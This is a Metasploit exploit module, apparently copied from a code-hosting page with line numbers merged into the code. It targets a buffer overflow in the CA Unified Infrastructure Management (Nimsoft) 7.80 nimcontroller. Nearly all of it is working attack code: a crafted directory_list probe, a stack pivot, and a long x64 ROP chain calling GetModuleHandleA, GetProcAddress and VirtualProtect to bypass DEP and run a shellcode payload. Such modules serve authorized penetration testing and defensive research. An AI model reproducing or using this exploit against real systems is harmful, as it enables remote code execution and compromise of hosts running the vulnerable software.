Path: blob/master/modules/exploits/windows/nimsoft/nimcontroller_bof.rb
31979 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9prepend Msf::Exploit::Remote::AutoCheck1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow',16'Description' => %q{17This module exploits a buffer overflow within the CA Unified Infrastructure Management nimcontroller.18The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list19probe.2021Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the22directory_list probe.23},24'License' => MSF_LICENSE,25'Author' => [26'wetw0rk' # Vulnerability Discovery and Metasploit module27],28'References' => [29[ 'CVE', '2020-8010' ], # CA UIM Probe Improper ACL Handling RCE (Multiple Attack Vectors)30[ 'CVE', '2020-8012' ], # CA UIM nimbuscontroller Buffer Overflow RCE31[ 'URL', 'https://support.broadcom.com/external/content/release-announcements/CA20200205-01-Security-Notice-for-CA-Unified-Infrastructure-Management/7832' ],32[ 'PACKETSTORM', '156577' ]33],34'DefaultOptions' => {35'EXITFUNC' => 'process',36'AUTORUNSCRIPT' => 'post/windows/manage/migrate'37},38'Payload' => {39'Space' => 2000,40'DisableNops' => true41},42'Platform' => 'win',43'Targets' => [44[45'Windows Universal (x64) - v7.80.3132',46{47'Platform' => 'win',48'Arch' => [ARCH_X64],49'Version' => '7.80 [Build 7.80.3132, Jun 1 2015]',50'Ret' => 0x000000014006fd3d # pop rsp; or al, 0x00; add rsp, 0x0000000000000448 ; ret [controller.exe]51}52],53],54'Privileged' => true,55'Notes' => {56'Stability' => [ CRASH_SAFE ],57'Reliability' => [ REPEATABLE_SESSION ],58'SideEffects' => [ ]59},60'DisclosureDate' => '2020-02-05',61'DefaultTarget' => 062)63)6465register_options(66[67OptString.new('DIRECTORY', [false, 'Directory path to obtain a listing', 'C:\\']),68Opt::RPORT(48000),69]70)71end7273# check: there are only two prerequisites to getting code execution. The version number74# and access to the directory_list probe. The easiest way to get this information is to75# ask nicely ;)76def check77connect7879sock.put(generate_probe('get_info', ['interfaces=0']))80response = sock.get_once(4096)8182unless response83return CheckCode::Unknown('No response was returned from the target.')84end8586list_check = -18788begin89if target['Version'].in? response90print_status("Version #{target['Version']} detected, sending directory_list probe")91sock.put(generate_probe('directory_list', ["directory=#{datastore['DIRECTORY']}", 'detail=1']))92list_check = parse_listing(sock.get_once(4096), datastore['DIRECTORY'])93end94ensure95disconnect96end9798if list_check == 099return CheckCode::Appears100else101return CheckCode::Safe102end103end104105def exploit106connect107108shellcode = make_nops(500)109shellcode << payload.encoded110111offset = rand_text_alphanumeric(1000)112offset += "\x0f" * 33113114heap_flip = [target.ret].pack('Q<*')115116alignment = rand_text_alphanumeric(7) # Adjustment for the initial chain117rop_chain = generate_rsp_chain # Stage1: Stack alignment118rop_chain += rand_text_alphanumeric(631) # Adjust for second stage119rop_chain += generate_rop_chain # Stage2: GetModuleHandleA, GetProcAddressStub, VirtualProtectStub120rop_chain += rand_text_alphanumeric((3500 - # ROP chain MUST be 3500 bytes, or exploitation WILL fail121rop_chain.length122123))124rop_chain += "kernel32.dll\x00"125rop_chain += "VirtualProtect\x00"126127trigger = "\x10" * (8000 - (128offset.length +129heap_flip.length +130alignment.length +131rop_chain.length +132shellcode.length133)134)135136buffer = offset + heap_flip + alignment + rop_chain + shellcode + trigger137exploit_packet = generate_probe(138'directory_list',139["directory=#{buffer}"]140)141142sock.put(exploit_packet)143144disconnect145end146147# generate_rsp_chain: This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes148# otherwise our call will fail. I had VP work 50% of the time when the stack was unaligned.149def generate_rsp_chain150rop_gadgets = [0x0000000140018c42] * 20 # ret151rop_gadgets += [1520x0000000140002ef6, # pop rax ; ret1530x00000001401a3000, # *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )1540x00000001400af237, # pop rdi ; ret1550x0000000000000007, # alignment for rsp1560x0000000140025dab157] # add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret158159return rop_gadgets.pack('Q<*')160end161162# generate_rop_chain: This chain will craft function calls to GetModuleHandleA, GetProcAddressStub,163# and finally VirtualProtectStub. Once completed, we have bypassed DEP and can get code execution.164# Since we dynamically generate VirtualProtectStub, we needn't worry about other OS's.165def generate_rop_chain166# RAX -> HMODULE GetModuleHandleA(167# ( RCX == *module ) LPCSTR lpModuleName,168# );169rop_gadgets = [0x0000000140018c42] * 15 # ret170rop_gadgets += [1710x0000000140002ef6, # pop rax ; ret1720x0000000000000000, # (zero out rax)1730x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret1740x0000000000000000, #1750x0000000000000000, #1760x0000000000000000, #1770x0000000000000000, #1780x0000000000000000, #1790x0000000000000000180]181rop_gadgets += [0x0000000140018c42] * 10 # ret182rop_gadgets += [1830x0000000140131643, # pop rcx ; ret1840x00000000000009dd, # offset to "kernel32.dll"1850x000000014006d8d8186] # add rax, rcx ; add rsp, 0x38 ; ret187188rop_gadgets += [0x0000000140018c42] * 15 # ret189190rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret191rop_gadgets += [1920x0000000140002ef6, # pop rax ; ret1930x000000014015e310, # GetModuleHandleA (0x00000000014015E330-20)1940x00000001400d1161195] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret196rop_gadgets += [0x0000000140018c42] * 17 # ret197198# RAX -> FARPROC GetProcAddressStub(199# ( RCX == &addr ) HMODULE hModule,200# ( RDX == *module ) lpProcName201# );202rop_gadgets += [2030x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule)2040x0000000140002ef6, # pop rax ; ret2050x0000000000000000, # (zero out rax)2060x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret2070x0000000000000000, #2080x0000000000000000, #2090x0000000000000000, #2100x0000000000000000, #2110x0000000000000000, #2120x0000000000000000213]214rop_gadgets += [0x0000000140018c42] * 10 # ret215rop_gadgets += [2160x0000000140131643, # pop rcx ; ret2170x0000000000000812, # offset to "virtualprotectstub"2180x000000014006d8d8219] # add rax, rcx ; add rsp, 0x38 ; ret220rop_gadgets += [0x0000000140018c42] * 15 # ret221rop_gadgets += [0x0000000140135e39] # mov edx, eax ; mov rbx, qword [rsp+0x30] ; mov rbp, qword [rsp+0x38] ; mov rsi, qword [rsp+0x40]222# mov rdi, qword [rsp+0x48] ; mov eax, edx ; add rsp, 0x20 ; pop r12 ; ret223224rop_gadgets += [0x0000000140018c42] * 10 # ret225rop_gadgets += [0x00000001400d1ab8] # mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret226rop_gadgets += [0x0000000140018c42] * 10 # ret227rop_gadgets += [0x0000000140111ca1] # xchg rax, r13 ; or al, 0x00 ; ret228rop_gadgets += [2290x00000001400cf3d5, # mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret2300x0000000000000000, #2310x0000000000000000, #2320x0000000000000000233]234rop_gadgets += [0x0000000140018c42] * 6 # ret235rop_gadgets += [2360x0000000140002ef6, # pop rax ; ret2370x000000014015e318238] # GetProcAddressStub (0x00000000014015e338-20)239rop_gadgets += [0x00000001400d1161] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret240rop_gadgets += [0x0000000140018c42] * 17 # ret241242# RAX -> BOOL VirtualProtectStub(243# ( RCX == *shellcode ) LPVOID lpAddress,244# ( RDX == len(shellcode) ) SIZE_T dwSize,245# ( R8 == 0x0000000000000040 ) DWORD flNewProtect,246# ( R9 == *writeable location ) PDWORD lpflOldProtect,247# );248rop_gadgets += [2490x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub)2500x000000014013d651, # pop r12 ; ret2510x00000001401fb000, # *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )2520x00000001400eba74253] # or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret254rop_gadgets += [0x0000000140018c42] * 10 # ret255rop_gadgets += [2560x0000000140002ef6, # pop rax ; ret2570x0000000000000000258]259rop_gadgets += [2600x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret2610x0000000000000000, #2620x0000000000000000, #2630x0000000000000000, #2640x0000000000000000, #2650x0000000000000000, #2660x0000000000000000267]268rop_gadgets += [0x0000000140018c42] * 10 # ret269rop_gadgets += [2700x0000000140131643, # pop rcx ; ret2710x000000000000059f, # (offset to *shellcode)2720x000000014006d8d8273] # add rax, rcx ; add rsp, 0x38 ; ret274rop_gadgets += [0x0000000140018c42] * 15 # ret275rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret276rop_gadgets += [2770x00000001400496a2, # pop rdx ; ret2780x00000000000005dc279] # dwSize280rop_gadgets += [2810x00000001400bc39c, # pop r8 ; ret2820x0000000000000040283] # flNewProtect284rop_gadgets += [0x00000001400c5f8a] # mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub)285rop_gadgets += [0x0000000140018c42] * 17 # ret286rop_gadgets += [0x00000001400a0b55] # call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h]287# mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret288289rop_gadgets += [0x0000000140018c42] * 20 # ret290291rop_gadgets += [2920x0000000140002ef6, # pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE)2930x0000000000000000, # (zero out rax)2940x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret2950x0000000000000000, #2960x0000000000000000, #2970x0000000000000000, #2980x0000000000000000, #2990x0000000000000000, #3000x0000000000000000301]302rop_gadgets += [0x0000000140018c42] * 10 # ret303rop_gadgets += [3040x0000000140131643, # pop rcx ; ret3050x0000000000000317, # (offset to our shellcode)3060x000000014006d8d8307] # add rax, rcx ; add rsp, 0x38 ; ret308rop_gadgets += [0x0000000140018c42] * 15 # ret309rop_gadgets += [0x00000001400a9747] # jmp rax310rop_gadgets += [0x0000000140018c42] * 20 # ret (do not remove)311312return rop_gadgets.pack('Q<*')313end314315# parse_listing: once the directory_list probe is sent we're returned a directory listing316# unfortunately it's hard to read this simply "decodes" it317def parse_listing(response, directory)318result = { 'name' => '', 'date' => '', 'size' => '', 'type' => '' }319i = 0320321begin322dirlist = response.split('\x00')[0].split("\x00")323index = dirlist.index('entry') + 3324final = dirlist[index..]325rescue StandardError326print_error('Failed to gather directory listing')327return -1328end329330print_line("\n Directory of #{directory}\n")331332check = 0333name = 0334ftime = 0335size = 0336ftype = 0337338while i < final.length339340if name == 1 && final[i].to_i <= 0341result['name'] = final[i]342name = 0343check += 1344end345if size >= 1346if size == 3347result['size'] = final[i]348size = 0349check += 1350else351size += 1352end353end354if ftype >= 1355if ftype == 3356result['type'] = final[i]357ftype = 0358check += 1359else360ftype += 1361end362end363if ftime >= 1364if ftime == 3365result['date'] = final[i]366ftime = 0367check += 1368else369ftime += 1370end371end372373if final[i].include? 'name'374name = 1375end376if final[i].include? 'size'377size = 1378end379if final[i].include? 'size'380ftype = 1381end382if final[i].include? 'last_modified'383ftime = 1384end385386i += 1387388next unless check == 4389390if result['type'] == '2'391result['type'] = ''392else393result['type'] = '<DIR>'394result['size'] = ''395end396397begin398time = Time.at(result['date'].to_i)399timestamp = time.strftime('%m/%d/%Y %I:%M %p')400rescue StandardError401timestamp = '??/??/???? ??:?? ??'402end403404print_line(format('%20<timestamp>s %6<type>s %<name>s', timestamp: timestamp, type: result['type'], name: result['name']))405406check = 0407end408print_line('')409return 0410end411412# generate_probe: The nimcontroller utilizes the closed source protocol nimsoft so we need to specially413# craft probes in order for the controller to accept any input.414def generate_probe(probe, args)415client = "#{rand_text_alphanumeric(14)}\x00"416packet_args = ''417probe += "\x00"418419for arg in args420421c = ''422i = 0423424while c != '='425426c = arg[i]427i += 1428429end430431packet_args << "#{arg[0, (i - 1)]}\x00"432packet_args << "1\x00#{arg[i..].length + 1}\x00"433packet_args << "#{arg[i..]}\x00"434435end436437packet_header = 'nimbus/1.0 ' # nimbus header (length of body) (length of args)438packet_body = "mtype\x00" # mtype439packet_body << "7\x004\x00100\x00" # 7.4.100440packet_body << "cmd\x00" # cmd441packet_body << "7\x00#{probe.length}\x00" # 7.(length of probe)442packet_body << probe # probe443packet_body << "seq\x00" # seq444packet_body << "1\x002\x000\x00" # 1.2.0445packet_body << "ts\x00" # ts446packet_body << "1\x0011\x00#{rand_text_alphanumeric(10)}\x00" # 1.11.(UNIX EPOCH TIME)447packet_body << "frm\x00" # frm448packet_body << "7\x00#{client.length}\x00" # 7.(length of client)449packet_body << client # client address450packet_body << "tout\x00" # tout451packet_body << "1\x004\x00180\x00" # 1.4.180452packet_body << "addr\x00" # addr453packet_body << "7\x000\x00" # 7.0454#455# probe packet arguments (dynamic)456# argument457# length of arg value458# argument value459460packet_header << "#{packet_body.length} #{packet_args.length}\r\n"461probe = packet_header + packet_body + packet_args462463return probe464end465466end467468469